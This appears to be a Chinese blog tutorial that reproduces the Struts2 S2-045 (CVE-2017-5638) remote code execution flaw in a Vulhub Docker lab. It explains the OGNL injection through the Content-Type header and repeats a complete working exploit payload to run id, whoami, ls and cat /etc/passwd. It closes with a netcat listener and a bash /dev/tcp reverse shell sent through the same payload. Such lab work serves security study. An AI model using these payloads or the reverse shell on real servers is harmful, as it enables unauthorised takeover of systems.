当前位置: 首页 > news >正文

Struts2_S2-045漏洞复现:原理详解+环境搭建+渗透实践(CVE-2017-5638)

目录

一、Struts2_S2-045漏洞

1、漏洞简介

2、漏洞原理

(1)漏洞根源

(2)触发机制

(3)危害与利用

 二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

三、渗透实战

1、访问环境

2、探测漏洞

3、PoC执行id命令

4、PoC执行whoami命令

5、PoC执行ls命令

6、PoC执行cat /etc/passwd命令

四、反弹shell实战

1、攻击机监听

2、目标机建立连接

① 原始命令

② 攻击目标机

3、反弹shell成功


本文通过vulhub靶场的Struts2_S2-045关卡讲解Struts2_S2-045漏洞原理(CVE-2017-5638)、渗透环境搭建与渗透全流程(包括命令执行、反弹shell)。

一、Struts2_S2-045漏洞

1、漏洞简介

Struts2 S2-045漏洞(CVE-2017-5638)是一个危害极大的远程代码执行漏洞。其核心成因在于框架使用Jakarta解析器处理文件上传请求时,对异常处理不当:当攻击者恶意构造包含OGNL表达式的Content-Type头触发解析错误后,系统在生成国际化错误消息时会直接执行该表达式。由于OGNL安全机制可被绕过(如清空黑名单),导致攻击者能够完全控制服务器执行任意命令,无需任何身份验证,对受影响版本(2.3.5-2.3.31, 2.5-2.5.10)构成严重威胁。

  • 漏洞编号: CVE-2017-5638(注意:S2-045 和著名的 S2-046 是同一个CVE编号)

  • 漏洞名称: Struts2 S2-045

  • 漏洞类型: 远程代码执行 (RCE)

  • 威胁等级: 严重 (Critical)

  • 影响版本: Struts 2.3.5 - 2.3.31, Struts 2.5 - 2.5.10

  • 漏洞原因: 基于Jakarta流解析器处理文件上传请求时,对错误消息中的恶意数据进行了不安全的OGNL表达式解析。

2、漏洞原理

(1)漏洞根源

漏洞源于 Struts2 框架在处理文件上传请求时,对Content-Type请求头的解析存在安全缺陷。当应用使用Jakarta Multipart parser(默认的文件上传解析器)时,框架会解析Content-Type头信息,而解析过程中未对用户输入进行严格过滤,导致攻击者可以注入恶意 OGNL 表达式。

(2)触发机制

  • 在文件上传场景中,Content-Type头通常用于指定上传数据的类型(如multipart/form-data; boundary=xxx)。Struts2 框架在解析该头部时,会将其值传递给内部处理逻辑,而该逻辑存在对 OGNL 表达式的解析行为。
  • 攻击者可构造特殊的Content-Type值,在其中嵌入%{...}包裹的恶意 OGNL 表达式(例如Content-Type: %{1+1})。当框架解析该头部时,会误将表达式当作合法代码执行,从而触发漏洞。

(3)危害与利用

由于 OGNL 表达式可直接操作 Java 对象和系统资源,攻击者通过构造特定表达式可实现:

  • 执行任意系统命令(如查看文件、创建后门、控制服务器等);
  • 读取 / 修改服务器敏感文件;
  • 操控应用内存数据等。

 二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现Jenkins-CI漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

cd struts2
cd s2-045

4、启动漏洞环境

在struts/S2-045目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。

docker-compose up -d

命令执行后,Docker 会完成拉取一个包含struts2:s2-045 2.3.30(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器7df1b8fb38a8属于 Vulhub 搭建的s2-045漏洞复现环境。

docker ps           
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS         PORTS                                             NAMES
7df1b8fb38a8   vulhub/struts2:2.3.30   "/usr/local/bin/mvn-…"   19 minutes ago   Up 19 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   s2-045_struts2_1

通过运行结果可知基于 Vulhub 项目的、专门用于复现和测试 Struts2 S2-045 远程代码执行漏洞(CVE-2017-5638)的环境正在运行。

  • 7df1b8fb38a8:这是 Docker 容器的唯一标识符(容器 ID 的前 12 位简写),用于在 Docker 命令中指定和操作该容器。

  • vulhub/struts2:2.3.30:表示容器所基于的镜像信息

    • vulhub/struts2 是镜像名称,说明这是 Vulhub 项目提供的 Struts2 漏洞环境镜像
    • 2.3.30 是镜像标签,指定了使用的 Struts2 版本为 2.3.30(该版本存在包括 S2-045 在内的多个已知漏洞)
  • "/usr/local/bin/mvn-…":容器启动时执行的命令(显示被截断,完整命令可能是 Maven 相关的启动命令,如mvn tomcat:run等),用于启动包含漏洞的 Struts2 应用服务。

  • 19 minutes ago:容器的创建时间,即 19 分钟前创建了该容器。

  • Up 19 minutes:容器的运行状态,表示该容器已正常运行 19 分钟。

  • 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp:端口映射配置,将容器内部的 8080 端口映射到宿主机的 8080 端口,意味着可以通过宿主机的 8080 端口访问容器内运行的 Struts2 应用。

  • s2-045_struts2_1:容器的名称,明确标识这是用于复现 S2-045 漏洞的 Struts2 容器实例。

三、渗透实战

1、访问环境

Docker启动完成后,访问 http://[靶机IP地址]:8080/HelloWorld.action来查看环境是否搭建成功。以本机为例,ip地址为192.168.59.128,端口号为8080,如下所示说明环境启动成功。 。

http://192.168.59.128:8080/HelloWorld.action

点击submit上传,burpsuite抓包,如下所示,红框对应的filename的内容就是我们要修改的部分,为便于修改,右键将报文发送到repeater。

2、PoC执行id命令

将content-type内容替换为如下PoC,命令为cmd=’id’,点击发送。

${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

输出结果  uid=0(root) gid=0(root) groups=0(root)

4、PoC执行whoami命令

同理,将poc中需要执行的代码cmd=’ls’换成cmd=’whoami’,将content-type内容替换为如下PoC并点击发送,如下所示输出结果为root。

${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

5、PoC执行ls命令

同理,将poc中需要执行的代码cmd=’whoami’换成cmd=’ls’,将content-type内容替换为如下PoC并点击发送。

${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

如下所示,根据burpsuite的返回结果可知ls命令的输出结果如下所示。

Dockerfile
pom.xml
src
target

6、PoC执行cat /etc/passwd命令

同理,将poc中需要执行的代码cmd=’ls’换成cmd=’cat /etc/passwd’。将content-type内容替换为如下PoC并点击发送。

${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

输出结果如下所示,成功获取到了/etc/passwd的命令。

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

四、反弹shell实战

1、攻击机监听

计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。

nc -lvvp 6666
  • nc: 网络瑞士军刀工具(Netcat),用于处理网络连接。

  • -l监听(Listen) 模式,等待别人来连接。

  • -v显示详细信息(Verbose),让你能看到谁连接上了。

  • -p 6666: 在 6666 端口(Port) 上进行监听。

2、目标机建立连接

在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。

① 原始命令

bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
  • bash -i: 启动一个交互式的(interactive)Bash shell。

  • >& /dev/tcp/192.168.59.128/6666:

    • >/dev/tcp/192.168.59.128/6666: Bash 的一个特性,可以建立一个 TCP 连接,连接到 IP 地址为 192.168.59.128 的机器的 6666 端口。

    • >&: 将标准输出(stdout) 和标准错误(stderr) 都重定向到这个 TCP 连接。

  • 0>&1: 将标准输入(stdin) 也重定向到同一个 TCP 连接(即标准输出指向的地方)

整体效果就是让被攻击的服务器主动连接IP为 192.168.59.128 的机器的 6666 端口,并建立一个远程控制会话。具体如下所示。

  • 执行这条命令的服务器(靶机)会主动去连接 192.168.59.128:6666

  • 连接建立后,在这个 Bash 中所有的输入和输出(你打的命令和命令返回的结果)都会通过这个 TCP 连接传输。

  • 在 192.168.59.128 这台机器上监听 6666 端口的人(攻击者),就获得了对方服务器的一个远程命令行控制权。

② 攻击目标机

根据上一步的webshell反弹的命令,构造如下PoC并替换content-type并发送。

${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.59.128/6666 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

这个命令可以在docker中执行执行并与kali建立连接,如下图左下角红框所示的waiting可知请求一直处于连接中状态。

3、反弹shell成功

此时查看kali攻击机的监听,已经成功连接,输入whoami、ip addr返回正确结果,渗透成功​​。

http://www.dtcms.com/a/478537.html

相关文章:

  • 【慕伏白】Android Studio 无线调试配置
  • 厦门方易网站制作有限公司做网站对象存储
  • 【Docker】零基础上手:原理+Ubuntu/Windows GUI 安装 + 镜像源 / 目录优化
  • 网站的引导页怎么做的手机虚拟空间
  • 大连网站开发公司力推选仟亿科技有源码如何搭建网站
  • 【Java虚拟机(JVM)全面解析】从原理到面试实战、JVM故障处理、类加载、内存区域、垃圾回收
  • 高并发面试
  • 模板网站 建设 方法西安网站建设中心
  • 《早期经验:语言智能体学习的中间道路》Agent Learning via Early Experience论文深度解读
  • QT6中Commd Link Button,Dialog Button Box,Tool Button 功能与应用
  • asp做网站安全性wordpress 文章 接口
  • 关系型数据库RDBMS与非关系型数据库NoSQL区别
  • 网站建设发布wordpress主题带会员中心
  • 单元测试 vs Main方法调试:何时使用哪种方式?
  • 03--CSS基础(2)
  • Wireshark笔记-从抓包的角度分析几种客户端不能正常获取IP地址的场景
  • 企业 网站 推广wordpress文章状态
  • typescript中infer常见用法
  • 科技赋能塞上农业:宁夏从黄土地到绿硅谷的蝶变
  • 第13讲:深入理解指针(3)——数组与指针的“深度绑定”
  • 基于MATLAB的匈牙利算法实现任务分配
  • Type-C 接口充电兼容设计(针对 5V1A 需求)
  • Anaconda 学习手册记录
  • Python-适用于硬件测试的小工具
  • 第三方软件测评机构:【Locust的性能测试和负载测试】
  • 【Python】列表 元组 字典 文件
  • 简单asp网站深圳做个商城网站设计
  • OpenTelemetry 入门
  • 昆山做网站找哪家好wordpress 算数验证码
  • 网站建设服务费入阿里云域名注册平台